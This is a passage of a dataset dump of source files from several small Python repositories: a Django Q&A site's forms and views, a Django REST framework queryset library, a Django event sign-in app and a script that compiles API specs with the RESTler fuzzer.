else:\n raise forms.ValidationError('Uncorrect login or password')\n\n\nclass SignupForm(forms.Form):\n username = forms.CharField(\n widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'login', }),\n max_length=25,\n label='Login'\n )\n first_name = forms.CharField(\n widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'name', }),\n max_length=25,\n label='Name'\n )\n last_name = forms.CharField(\n widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'second name', }),\n max_length=25,\n label='Second name'\n )\n email = forms.EmailField(\n widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': '[email protected]', }),\n required=False, max_length=254, label='E-mail'\n )\n password1 = forms.CharField(\n widget=forms.PasswordInput(attrs={'class': 'form-control', 'placeholder': '*****'}),\n min_length=6,\n label='Password'\n )\n password2 = forms.CharField(\n widget=forms.PasswordInput(attrs={'class': 'form-control', 'placeholder': '*****'}),\n min_length=6,\n label='Repeat password'\n )\n avatar = forms.FileField(\n widget=forms.ClearableFileInput(\n attrs={}),\n required=False, label='Avatar'\n )\n\n # avatar = forms.ImageField(\n # widget=forms.ClearableFileInput(\n # attrs={'class': 'ask-signup-avatar-input', }),\n # required=False, label='Avatar'\n # )\n\n def clean_username(self):\n username = self.cleaned_data.get('username', '')\n\n try:\n u = User.objects.get(username=username)\n raise forms.ValidationError('User exist')\n except User.DoesNotExist:\n return username\n\n def clean_password2(self):\n pass1 = self.cleaned_data.get('password1', '')\n pass2 = self.cleaned_data.get('password2', '')\n\n if pass1 != pass2:\n raise forms.ValidationError('Passwords not equal')\n\n def save(self):\n data = self.cleaned_data\n password = data.get('password1')\n u = User()\n\n u.username = data.get('username')\n u.password = make_password(password)\n u.email = data.get('email')\n u.first_name = data.get('first_name')\n u.last_name = data.get('last_name')\n u.is_active = True\n u.is_superuser = False\n u.save()\n\n up = Profile()\n up.user = u\n\n if data.get('avatar') is None:\n # image_url = 'http://api.adorable.io/avatars/100/%s.png' % u.username\n # response = requests.get(image_url)\n #\n # up.avatar.save('%s.png' % u.username, ContentFile(response.content), save=True)\n up.avatar.save('%s.png' % u.username, 'default.jpg', save=True)\n\n\n else:\n avatar = data.get('avatar')\n up.avatar.save('%s_%s' % (u.username, avatar.name), avatar, save=True)\n\n up.save()\n\n return authenticate(username=u.username, password=password)\n\n\nclass ProfileEditForm(forms.Form):\n first_name = forms.CharField(\n widget=forms.TextInput(attrs={'class': 'form-control',\n 'placeholder': 'name', }),\n max_length=30, label='Name'\n )\n last_name = forms.CharField(\n widget=forms.TextInput(attrs={'class': 'form-control',\n 'placeholder': 'last name', }),\n max_length=30, label='First name'\n )\n email = forms.EmailField(\n widget=forms.TextInput(attrs={'class': 'form-control',\n 'placeholder': '[email protected]', }),\n required=False, max_length=254, label='E-mail'\n )\n password1 = forms.CharField(\n widget=forms.PasswordInput(attrs={'class': 'form-control',\n 'placeholder': '*****'}),\n min_length=6, label='Password', required=False\n )\n password2 = forms.CharField(\n widget=forms.PasswordInput(attrs={'class': 'form-control',\n 'placeholder': '*****'}),\n min_length=6, label='Repeat password', required=False\n )\n\n avatar = forms.ImageField(\n widget=forms.ClearableFileInput(\n attrs={'class': 'ask-signup-avatar-input', }),\n required=False, label='Avatar'\n )\n\n def clean_password2(self):\n pass1 = self.cleaned_data.get('password1', '')\n pass2 = self.cleaned_data.get('password2', '')\n if pass1 != pass2:\n raise forms.ValidationError('Passwords not equal')\n\n def save(self, user):\n data = self.cleaned_data\n user.first_name = data.get('first_name')\n user.last_name = data.get('last_name')\n user.email = data.get('email')\n pass1 = self.cleaned_data.get('password1', '')\n if pass1 != '':\n user.set_password(pass1)\n user.save()\n up = user.profile\n\n # add_avatar\n\n if data.get('avatar') is not None:\n avatar = data.get('avatar')\n up.avatar.save('%s_%s' % (user.username, avatar.name), avatar, save=True)\n\n up.save()\n return self\n\n\nclass AskForm(forms.Form):\n title = forms.CharField(\n widget=forms.TextInput(attrs={'class': 'form-control form-control-danger'}),\n min_length=3,\n label='Title',\n error_messages={'min_length': 'min length %(limit_value)d', 'required': 'need title!'},\n )\n question = forms.CharField(\n widget=forms.Textarea(attrs={'class': 'form-control form-control-danger'}),\n min_length=3,\n label='Text',\n error_messages={'min_length': 'min length %(limit_value)d', 'required': 'input question!'},\n )\n tags = forms.CharField(\n widget=forms.TextInput(attrs={'class': 'form-control'}),\n label='Tags',\n required=False\n )\n\n def save(self, user):\n data = self.cleaned_data\n title = data.get('title', '')\n text = data.get('question', '')\n _tags = data.get('tags', '')\n\n q = Question()\n q.title = title\n q.text = text\n q.author = user\n q.save()\n\n if _tags != '':\n tags = re.split('\\s+', _tags)\n print(tags)\n for tag in tags:\n print(tag)\n t = Tag.objects.get_or_create(title=tag)[0]\n q.tags.add(t)\n\n return q\n\n\nclass AnswerForm(forms.Form):\n text = forms.CharField(\n widget=forms.Textarea(attrs={'class': 'form-control',\n 'rows': '6',\n 'placeholder': 'Input your answer',\n })\n )\n\n def save(self, question, author):\n data = self.cleaned_data\n return question.answer_set.create(text=data.get('text'), author=author)\n" }, { "alpha_fraction": 0.48507463932037354, "alphanum_fraction": 0.56965172290802, "avg_line_length": 19.100000381469727, "blob_id": "033ef973c1aec6b8afc925da6c36b81b0fdcc835", "content_id": "250c983f13d469995edf51f139ce3d1c371ec063", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 402, "license_type": "no_license", "max_line_length": 49, "num_lines": 20, "path": "/app/migrations/0004_auto_20180520_0720.py", "repo_name": "Qweq5/TP_Web_1sem", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.11.13 on 2018-05-20 07:20\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('app', '0003_auto_20170516_1543'),\n ]\n\n operations = [\n migrations.AlterModelManagers(\n name='answer',\n managers=[\n ],\n ),\n ]\n" }, { "alpha_fraction": 0.6544240117073059, "alphanum_fraction": 0.6560934782028198, "avg_line_length": 29, "blob_id": "0528c0eacebe4db2b7307e8ff2ca02ac68de2233", "content_id": "da447575fea2e45d1419014daae7148d30eaeade", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 599, "license_type": "no_license", "max_line_length": 86, "num_lines": 20, "path": "/app/helpers.py", "repo_name": "Qweq5/TP_Web_1sem", "src_encoding": "UTF-8", "text": "# response ajax\nfrom django.http import HttpResponse\nimport urllib2\nimport json\n\n\nclass HttpResponseAjax(HttpResponse):\n def __init__(self, status='ok', **kwargs):\n kwargs['status'] = status\n super(HttpResponseAjax, self).__init__(\n content=json.dumps(kwargs),\n content_type='application/json',\n )\n\n\nclass HttpResponseAjaxError(HttpResponseAjax):\n def __init__(self, code, id, identificate, message):\n super(HttpResponseAjaxError, self).__init__(\n status='error', code=code, message=message,id=id,identificate=identificate\n )" }, { "alpha_fraction": 0.6399999856948853, "alphanum_fraction": 0.7200000286102295, "avg_line_length": 11.5, "blob_id": "09405d33a0f5dc939b158121773572bed5b67b4f", "content_id": "7138a7dc17479373250933265e4eab02f5f4fa8e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 25, "license_type": "no_license", "max_line_length": 13, "num_lines": 2, "path": "/README.md", "repo_name": "Qweq5/TP_Web_1sem", "src_encoding": "UTF-8", "text": "# TP_Web_1sem\nhomework_2\n" }, { "alpha_fraction": 0.7118055820465088, "alphanum_fraction": 0.7118055820465088, "avg_line_length": 25.18181800842285, "blob_id": "fc3b8229a5ddf604e65e02616019eea94c8d69aa", "content_id": "ce39fb5897edb682778891f2cbe9ed3df78cb244", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 288, "license_type": "no_license", "max_line_length": 51, "num_lines": 11, "path": "/app/management/commands/cache_tags.py", "repo_name": "Qweq5/TP_Web_1sem", "src_encoding": "UTF-8", "text": "from django.core.management.base import BaseCommand\n\nfrom app.models import ProjectCache\n\n\nclass Command(BaseCommand):\n help = 'Caches popular tags'\n\n def handle(self, *args, **options):\n ProjectCache.update_popular_tags()\n self.stdout.write('Popular tags -- cached')\n" }, { "alpha_fraction": 0.6840000152587891, "alphanum_fraction": 0.6840000152587891, "avg_line_length": 21.81818199157715, "blob_id": "b75d1b22a54c0b8156d50c3da6c5c8e59c432405", "content_id": "26804a980b5c3c2691bbf0f6a799875d7dc0ac22", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 250, "license_type": "no_license", "max_line_length": 43, "num_lines": 11, "path": "/app/context_processors.py", "repo_name": "Qweq5/TP_Web_1sem", "src_encoding": "UTF-8", "text": "from app.models import ProjectCache\n\ndef popular_tags(request):\n tags = ProjectCache.get_popular_tags()\n\n return {'popular_tags': tags}\n\n# def best_users(request):\n# users = ProjectCache.get_best_users()\n#\n# return {'best_users': users}" }, { "alpha_fraction": 0.5477229952812195, "alphanum_fraction": 0.5535714030265808, "avg_line_length": 33.38069534301758, "blob_id": "8faea323b7c573eb7b684899d711633a466c881a", "content_id": "9576b9f8cfa56ef9d967565da87010f57d347622", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12824, "license_type": "no_license", "max_line_length": 181, "num_lines": 373, "path": "/app/views.py", "repo_name": "Qweq5/TP_Web_1sem", "src_encoding": "UTF-8", "text": "from django.shortcuts import render, render_to_response, get_object_or_404\nfrom django.views.generic import TemplateView\nfrom django.http import HttpResponse, Http404, HttpResponseRedirect\nfrom django.views.decorators.csrf import csrf_exempt\nfrom cgi import parse_qsl, escape\nfrom django.template import RequestContext, loader\nfrom django.core import validators\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.core.urlresolvers import reverse\nfrom django.shortcuts import render\nfrom django.contrib import auth\nfrom django.utils.decorators import method_decorator\nfrom django.views import View\n\nfrom app.models import *\nfrom app.forms import LoginForm, SignupForm, ProfileEditForm, AskForm, AnswerForm\nfrom app.decorators import need_login\nfrom django.forms.models import model_to_dict\nfrom django.contrib.auth.decorators import login_required\nfrom app import helpers\nimport json\n\n\ndef getQuestionPageLikes(question_, answers, User):\n likes = []\n dislikes = []\n for ans in answers:\n try:\n query = AnswerLike.objects.get(answer=ans, author=User)\n except:\n query = None\n if query is not None:\n if query.value == 1:\n likes.append(ans.id)\n else:\n dislikes.append(ans.id)\n try:\n query = QuestionLike.objects.get(question=question_, author=User)\n if query.value == 1:\n islike = 1\n else:\n islike = -1\n except:\n islike = 0\n result = [likes, dislikes, islike]\n return result\n\n\ndef getQuestionListLikes(questions, User):\n likes = []\n dislikes = []\n\n for question in questions:\n try:\n query = QuestionLike.objects.get(question=question, author=User)\n except:\n query = None\n\n if query is not None:\n if query.value == 1:\n likes.append(question.id)\n else:\n dislikes.append(question.id)\n result = [likes, dislikes]\n return result\n\n\n@csrf_exempt\ndef getpost(request):\n result = ['<h1>Django</h1>']\n result.append('Post:')\n result.append('<form method=\"post\">')\n result.append('<input type=\"text\" name = \"test\">')\n result.append('<input type=\"submit\" value=\"Send\">')\n result.append('</form>')\n\n if request.method == 'POST':\n result.append('<h1>Post data:</h1>')\n result.append(request.POST.get('test'))\n\n if request.method == 'GET':\n if request.GET:\n result.append('<h1>Get data:</h1>')\n for key, value in request.GET.items():\n list = request.GET.getlist(key)\n for elem in list:\n keyvalue = key + \" = \" + elem\n result.append(keyvalue)\n\n return HttpResponse('<br>'.join(result))\n\n\n# @need_login\ndef logout(request):\n redirect = request.GET.get('continue', '/')\n auth.logout(request)\n return HttpResponseRedirect(redirect)\n\n\n@login_required\ndef ask(request):\n tags = Tag.objects.count_popular()\n if request.method == \"POST\":\n form = AskForm(request.POST)\n if form.is_valid():\n q = form.save(request.user)\n return HttpResponseRedirect(reverse('question', kwargs={'question_id': q.id}))\n else:\n form = AskForm()\n return render(request, 'ask.html', {'tags': tags, 'form': form})\n\n\ndef login(request):\n tags = Tag.objects.count_popular()\n redirect = request.GET.get('continue', '/')\n if request.user.is_authenticated():\n return HttpResponseRedirect(redirect)\n\n if request.method == \"POST\":\n form = LoginForm(request.POST)\n\n if form.is_valid():\n auth.login(request, form.cleaned_data['user'])\n return HttpResponseRedirect(redirect)\n else:\n form = LoginForm()\n\n return render(request, 'login.html', {\n 'form': form,\n 'tags': tags,\n })\n\n\ndef signup(request):\n tags = Tag.objects.count_popular()\n if request.user.is_authenticated():\n return HttpResponseRedirect('/')\n form = SignupForm(request.POST, request.FILES)\n if request.method == \"POST\":\n\n if form.is_valid():\n user = form.save()\n auth.login(request, user)\n return HttpResponseRedirect('/')\n else:\n form = SignupForm()\n\n return render(request, 'register.html', {\n 'form': form,\n 'tags': tags,\n })\n\n\ndef get_page(query, request, number_of_list):\n paginator = Paginator(query, number_of_list)\n page = request.GET.get('page')\n try:\n curr_page = paginator.page(page)\n except PageNotAnInteger:\n curr_page = paginator.page(1)\n except EmptyPage:\n curr_page = paginator.page(paginator.num_pages)\n return curr_page\n\n\ndef base(request):\n questions_query = Question.objects.list_new()\n question = get_page(questions_query, request, 3)\n\n likes = getQuestionListLikes(question, request.user)\n\n tags = Tag.objects.count_popular()\n return render(request, 'index.html', {'questions': question,\n 'tags': tags,\n 'likes': likes[0],\n 'dislikes': likes[1]\n })\n\n\ndef hot(request):\n questions_query = Question.objects.list_hot()\n question = get_page(questions_query, request, 3)\n\n likes = getQuestionListLikes(question, request.user)\n\n tags = Tag.objects.count_popular()\n return render(request, 'hot.html', {'questions': question,\n 'tags': tags,\n 'likes':likes[0],\n 'dislikes':likes[1]\n })\n\n\ndef question(request, question_id):\n try:\n question = Question.objects.get_single(int(question_id))\n except Question.DoesNotExist:\n raise Http404()\n\n # answers = question.answer_set.all()\n\n # question_ = get_object_or_404(Question, pk=question_id)\n answers = question.answer_set.all()\n\n likes = getQuestionPageLikes(question, answers, request.user)\n\n page = get_page(answers, request, 3)\n tags = Tag.objects.count_popular()\n form = AnswerForm()\n\n if request.method == \"POST\":\n form = AnswerForm(request.POST)\n if form.is_valid():\n ans = form.save(question, request.user)\n return HttpResponseRedirect(\n '%s?page=%d' % (reverse('question', kwargs={'question_id': question.id}), ans.id))\n else:\n form = AnswerForm()\n return render(request, 'question.html', {'question': question,\n 'answers': page,\n 'tags': tags,\n 'form': form,\n 'likes': likes[0],\n 'dislikes': likes[1],\n 'islike': likes[2]\n })\n\n\nclass settings(View):\n @method_decorator(need_login)\n def get(self, request):\n tags = Tag.objects.count_popular()\n u = model_to_dict(request.user)\n form = ProfileEditForm(u)\n\n return render(request, 'settings.html', {\n 'form': form,\n 'u': request.user,\n 'tags': tags,\n })\n\n @method_decorator(need_login)\n def post(self, request):\n form = ProfileEditForm(request.POST, request.FILES)\n tags = Tag.objects.count_popular()\n if form.is_valid():\n form.save(request.user)\n return HttpResponseRedirect(reverse('settings'))\n\n return render(request, 'settings.html', {\n 'form': form,\n 'u': request.user,\n 'tags': tags,\n })\n\n\ndef tag(request, tag):\n context = RequestContext(request, {'tag': tag})\n\n try:\n tag = Tag.objects.get_by_title(tag)\n except Tag.DoesNotExist:\n raise Http404()\n\n tags = Tag.objects.count_popular()\n questions_query = Question.objects.list_tag(tag)\n questions = get_page(questions_query, request, 4)\n\n likes = getQuestionListLikes(questions, request.user)\n\n return render(request, 'tag.html', {'questions': questions,\n \"context\": context,\n 'tags': tags,\n 'likes': likes[0],\n 'dislikes': likes[1]\n })\n\n\n@login_required\ndef ajax_question_like(request, id):\n if request.method == \"POST\":\n try:\n q = Question.objects.get(pk=id)\n likesid = '#qRating' + str(q.id)\n value = int(request.POST.get('value'))\n QuestionLike.objects.add_or_update(author=request.user, question=q, value=value)\n\n # content_dis = \"<span class =\\\"glyphicon glyphicon-menu-down\\\" style=\\\"color: black;\\\"> </span></a>\"\n if value == 1:\n # like = AnswerLike.objects.add_or_update(user, answer, 1)\n content_dis = \"<span class=\\\"page-like-img dislikebtn\\\"/>\"\n content_like = \"<span class=\\\"page-like-img islikebtn\\\"/>\"\n elif value == -1:\n # like = AnswerLike.objects.add_or_update(user, answer, -1)\n content_dis = \"<span class=\\\"page-like-img isdislikebtn\\\"/>\"\n content_like = \"<span class=\\\"page-like-img likebtn\\\"/>\"\n\n\n content = {'like': content_like, 'dislike': content_dis}\n\n return helpers.HttpResponseAjax(content, likesid=likesid, likes=q.likes, qid=id, )\n except QuestionLike.AlreadyLike as e1:\n q = Question.objects.get(pk=id)\n id = '#error' + str(q.id)\n return helpers.HttpResponseAjaxError(code='already_like',\n id=id,\n identificate='question',\n message=e1.message)\n raise Http404()\n\n#sudo vim /etc/nginx/nginx.conf\n\n# @login_required\n# def ajax_answer_like(request, id):\n# if request.method == \"POST\":\n# try:\n# ans = Answer.objects.get(pk=id)\n# likesid = '#aRating' + str(ans.id)\n# value = int(request.POST.get('value'))\n# AnswerLike.objects.add(author=request.user, answer=ans, value=value)\n# return helpers.HttpResponseAjax(likesid=likesid, likes=ans.likes)\n# except AnswerLike.AlreadyLike as e1:\n# return helpers.HttpResponseAjaxError(code='already_like',\n# message=e1.message)\n# raise Http404()\n\n\n@login_required\ndef ajax_answer_like(request, id):\n if request.method == \"POST\":\n try:\n ans = Answer.objects.get(pk=id)\n likesid = '#aRating' + str(ans.id)\n value = int(request.POST.get('value'))\n AnswerLike.objects.add_or_update(author=request.user, answer=ans, value=value)\n\n if value == 1:\n content_dis = \"<span class=\\\"page-like-img dislikebtn\\\"/>\"\n content_like = \"<span class=\\\"page-like-img islikebtn\\\"/>\"\n elif value == -1:\n content_dis = \"<span class=\\\"page-like-img isdislikebtn\\\"/>\"\n content_like = \"<span class=\\\"page-like-img likebtn\\\"/>\"\n\n content = {'like': content_like, 'dislike': content_dis}\n\n return helpers.HttpResponseAjax(content, likesid=likesid, likes=ans.likes, aid=id)\n except AnswerLike.AlreadyLike as e1:\n ans = Answer.objects.get(pk=id)\n id = '#error' + str(ans.id)\n return helpers.HttpResponseAjaxError(code='already_like',\n id=id,\n identificate='answer',\n message=e1.message)\n raise Http404()\n\n@login_required\ndef ajax_answer_correct(request, id):\n if request.method == \"POST\":\n user = request.user\n answer = Answer.objects.get(pk=id)\n\n if answer.question.author == user:\n answer.correct = True\n answer.save()\n answer.question.save()\n content = {\n 'new': \"<div class=\\\"label label-default\\\" style=\\\"width:120px; height: 20px; margin: 4px 4px;text-align: center;background-color: #5cb85c;\\\">correct answer!</div>\"}\n response = {'result': 'true', 'content': content, 'aid': id}\n else:\n response = {'result': 'false'}\n\n return HttpResponse(json.dumps(response), content_type='application/json')\n raise Http404()\n" } ]
12
themotleyfool/django-rest-framework-queryset
https://github.com/themotleyfool/django-rest-framework-queryset
b1de97080a91bb680b1035725419a106b7f3b6ce
99e9ace6dfd6be76ff572b94ebf2511c8cca4155
1ad2751201ed32a68e631f5576e115048d92a542
refs/heads/master
2020-03-22T10:12:42.699743
2016-10-06T03:16:50
2016-10-06T03:16:50
139,888,085
0
0
MIT
2018-07-05T18:44:16
2018-07-06T20:12:19
2020-10-21T16:09:54
Python
[ { "alpha_fraction": 0.6744186282157898, "alphanum_fraction": 0.7034883499145508, "avg_line_length": 23.571428298950195, "blob_id": "65d227d6eb7fad7ac305f3e29b5234d33a0ef5e9", "content_id": "2169c71522fb50d72541bfcdeca67fed3fd9c534", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 172, "license_type": "permissive", "max_line_length": 43, "num_lines": 7, "path": "/rest_framework_queryset/__init__.py", "repo_name": "themotleyfool/django-rest-framework-queryset", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom __future__ import absolute_import\n\n__version__ = '0.0.15'\n\nfrom .queryset import RestFrameworkQuerySet\n" }, { "alpha_fraction": 0.7066246271133423, "alphanum_fraction": 0.7192429304122925, "avg_line_length": 34.022727966308594, "blob_id": "13291d753291b77a334bd45dc40e675b5310f6fd", "content_id": "a126c589067642cd1f93692bf375bd6a2f6c3733", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1585, "license_type": "permissive", "max_line_length": 277, "num_lines": 44, "path": "/README.md", "repo_name": "themotleyfool/django-rest-framework-queryset", "src_encoding": "UTF-8", "text": "[![Build Status](https://travis-ci.org/variable/django-rest-framework-queryset.svg?branch=master)](https://travis-ci.org/variable/django-rest-framework-queryset)\r\n# Django Rest Framework QuerySet\r\nMimicking the Django ORM queryset over rest framework api\r\n\r\n## Usage:\r\n\r\n### normal operation\r\n```python\r\n from rest_framework_queryset import RestFrameworkQuerySet\r\n from django.core.paginator import Paginator\r\n\r\n qs = RestFrameworkQuerySet('http://localhost:8082/api/')\r\n qs.all()\r\n\r\n # filter\r\n boys = qs.filter(gender='boy')\r\n girls = qs.filter(gender='girls')\r\n\r\n # slicing\r\n first_100_boys = boys[:100]\r\n\r\n # pagination\r\n p = Paginator(qs, 10)\r\n print p.count\r\n print p.num_pages\r\n page1 = p.page(1)\r\n```\r\n\r\n### class based view\r\n```python\r\nfrom django.views.generic import ListView\r\nfrom rest_framework_queryset import RestFrameworkQuerySet\r\n\r\nclass ListDataView(ListView):\r\n paginate_by = 10\r\n template_name = 'list.html'\r\n\r\n def get_queryset(self, *args, **kwargs):\r\n return RestFrameworkQuerySet('http://localhost:8082/api/').filter(**self.request.GET.dict())\r\n```\r\n\r\n## Dependencies\r\nThe queryset is dependent on the API that uses [LimiteOffsetPagination](http://www.django-rest-framework.org/api-guide/pagination/#limitoffsetpagination)\r\nIf you are using [PageNumberPagination](http://www.django-rest-framework.org/api-guide/pagination/#pagenumberpagination) then you can use the included `rest_framework_queryset.pagination.HybridPagination` which will switch pagination class depends on the query param is passed.\r\n" }, { "alpha_fraction": 0.7862407565116882, "alphanum_fraction": 0.7862407565116882, "avg_line_length": 26.133333206176758, "blob_id": "8739b2c268e4ca20772713d3db64ab23a43b1164", "content_id": "9c517605c9112183bc71d92b0330b2666be83cd3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 407, "license_type": "permissive", "max_line_length": 55, "num_lines": 15, "path": "/api/views.py", "repo_name": "themotleyfool/django-rest-framework-queryset", "src_encoding": "UTF-8", "text": "from rest_framework import generics\nfrom rest_framework import serializers\nfrom .models import DataModel\nfrom .filters import DataModelFilter\n\n\nclass DataModelSerializer(serializers.ModelSerializer):\n class Meta(object):\n model = DataModel\n\n\nclass ListView(generics.ListAPIView):\n serializer_class = DataModelSerializer\n queryset = DataModel.objects.all()\n filter_class = DataModelFilter\n" } ]
3
yexulong/guest
https://github.com/yexulong/guest
ad2c58d422632c13e4c922a907a79d07e76a13c0
aae84ba93601e1d9ae7326d0ea486d6e15ff5c11
9c586cc941ff448cb12f2ceb27a05f8df348ecf2
refs/heads/main
2023-04-24T02:08:25.880398
2021-05-19T11:50:50
2021-05-19T11:50:50
327,301,695
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6687697172164917, "alphanum_fraction": 0.6744479537010193, "avg_line_length": 35.022727966308594, "blob_id": "1aab62329559d1af01037d8acd02c4340a317fdc", "content_id": "963d223461b12ced142ad6282fbe8d41ee11bb4a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1593, "license_type": "no_license", "max_line_length": 77, "num_lines": 44, "path": "/guest/urls.py", "repo_name": "yexulong/guest", "src_encoding": "UTF-8", "text": "# !/usr/bin/env python3\n\"\"\"guest URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf import settings\nfrom django.conf.urls import url\nfrom django.views import static\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom sign import views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n url(r'^static/(?P<path>.*)$', static.serve,\n {'document_root': settings.STATIC_ROOT}, name='static'),\n\n # sign应用\n # url(r'^index/$', views.index),\n path('index/', views.index),\n path('login_action/', views.login_action),\n path('event_manage/', views.event_manage),\n path('accounts/login/', views.index),\n path('search_name/', views.search_name),\n path('guest_manage/', views.guest_manage),\n path('search_phone/', views.search_phone),\n path('logout/', views.logout),\n path('sign_index/<int:eid>/', views.sign_index),\n path('sign_index_action/<int:event_id>/', views.sign_index_action),\n\n # api应用\n path('api/', include('api.urls')),\n]\n" }, { "alpha_fraction": 0.5, "alphanum_fraction": 0.701298713684082, "avg_line_length": 16.11111068725586, "blob_id": "cc1c18ce22ee4f2132884fa9d5456f9fe0233fbd", "content_id": "7516488a323282e7cc9e76cdbcc7a7b528dd0f5c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 154, "license_type": "no_license", "max_line_length": 25, "num_lines": 9, "path": "/requirements.txt", "repo_name": "yexulong/guest", "src_encoding": "UTF-8", "text": "asgiref==3.3.1\nDjango==3.1.3\ndjango-bootstrap3==14.2.0\nimportlib-metadata==1.7.0\nPyMySQL==0.10.1\npytz==2020.4\nsqlparse==0.4.1\nsuds-jurko==0.6\nzipp==3.4.0\n" }, { "alpha_fraction": 0.5193965435028076, "alphanum_fraction": 0.5258620977401733, "avg_line_length": 23.421052932739258, "blob_id": "ed026e107643b226e8ba9f7f43b3c52f864abcbe", "content_id": "7e6d9d7af228ffdb002a827c38026551b6892cf8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 464, "license_type": "no_license", "max_line_length": 59, "num_lines": 19, "path": "/trans_title_for_mp3.py", "repo_name": "yexulong/guest", "src_encoding": "UTF-8", "text": "import os\nimport eyed3\n\n\ndef trans_title(path):\n files = os.listdir(path)\n for file in files:\n name, suffix = os.path.splitext(file)\n if suffix in ['.mp3']:\n music_file = eyed3.load(file)\n artist, title = map(str.strip, name.split('-'))\n music_file.tag.title = title\n music_file.tag.artist = artist\n \n music_file.tag.save()\n\n \nif __name__ == '__main__':\n trans_title('.')\n" }, { "alpha_fraction": 0.6061643958091736, "alphanum_fraction": 0.6198630332946777, "avg_line_length": 25.545454025268555, "blob_id": "b036969b50c4d9a0ad64909f8d91d92fad553e5c", "content_id": "10d27a69fa64b6b2fd1d9aaad5d8b0e13cdfc7bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 668, "license_type": "no_license", "max_line_length": 71, "num_lines": 22, "path": "/sign/models/event.py", "repo_name": "yexulong/guest", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nfrom django.db import models\n\n\nclass Event(models.Model):\n \"\"\"\n 发布会表\n \"\"\"\n name = models.CharField(max_length=100) # 发布会标题\n limit = models.IntegerField() # 限制人数\n status = models.BooleanField() # 状态\n address = models.CharField(max_length=200) # 地址\n start_time = models.DateTimeField('events time') # 发布会时间\n create_time = models.DateTimeField(auto_now=True) # 创建时间(自动获取当前时间)\n\n class Meta:\n verbose_name = '发布会'\n verbose_name_plural = '发布会'\n\n def __str__(self):\n return self.name\n" } ]
4
dennisklad/TelSecProject
https://github.com/dennisklad/TelSecProject
0938ca95465bdb2375e2a5dd02bdeeb1757cae9b
023e143c8e5171170142e35af456022cfc9ec052
2e3aac089b55ee3cf51af76b921fba0061de8c44
refs/heads/main
2023-01-27T21:41:41.575947
2020-12-09T18:18:36
2020-12-09T18:18:36
320,036,982
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5705937743186951, "alphanum_fraction": 0.5715363025665283, "avg_line_length": 29.8430233001709, "blob_id": "47f97869fd0a3a3d1f6be70e7602d73914222639", "content_id": "023caa99aae0545f85ca133af31171995bf03ab7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5305, "license_type": "no_license", "max_line_length": 142, "num_lines": 172, "path": "/compile_script.py", "repo_name": "dennisklad/TelSecProject", "src_encoding": "UTF-8", "text": "import os, subprocess\nfrom shutil import copy\n\nimport pathdir\n\n\nos.chdir(pathdir.BASEDIR_PATH)\n\n#Create new directory and paste the file for every YAML specification\ndef create_dir():\n for filename in os.listdir(pathdir.YAML_PATH):\n dir = filename.rstrip('.yaml')\n subprocess.run([\"mkdir\", dir], shell=True, stdout=f, text=True) \n copy(pathdir.YAML_PATH + filename, pathdir.BASEDIR_PATH + dir)\n\n\n#------------\n#STEP 1. COMPILE\n\n#Change into every created directory and compile with RESTler\ndef compile_dir():\n for dirname in os.listdir(pathdir.BASEDIR_PATH):\n \n if os.path.isdir(dirname):\n #Error Catching (e.g. PathNotFound)\n try:\n os.chdir(pathdir.BASEDIR_PATH + dirname)\n dir = os.getcwd()\n compile_restler(dir)\n finally:\n os.chdir(pathdir.BASEDIR_PATH)\n \n\n#Run compile command from RESTler to create the grammar\ndef compile_restler(dir):\n for yamlfile in os.listdir(dir):\n if yamlfile.endswith(\".yaml\"):\n print(\"Compiling dir: \"+ dir)\n subprocess.run([pathdir.RESTLER_PATH, \"compile\", \"--api_spec\", pathdir.YAML_PATH + yamlfile], shell=True, stdout=f, text=True) \n else:\n print(\"ERROR: Compiling in \" + dir) \n\n\n#------------\n#STEP 2. TEST\n\n#Specification coverage with the default RESTler grammar\ndef test_dir():\n for dirname in os.listdir(pathdir.BASEDIR_PATH):\n \n if os.path.isdir(dirname):\n #Error Catching (e.g. PathNotFound)\n try:\n os.chdir(pathdir.BASEDIR_PATH + dirname + \"/Compile\")\n dir = 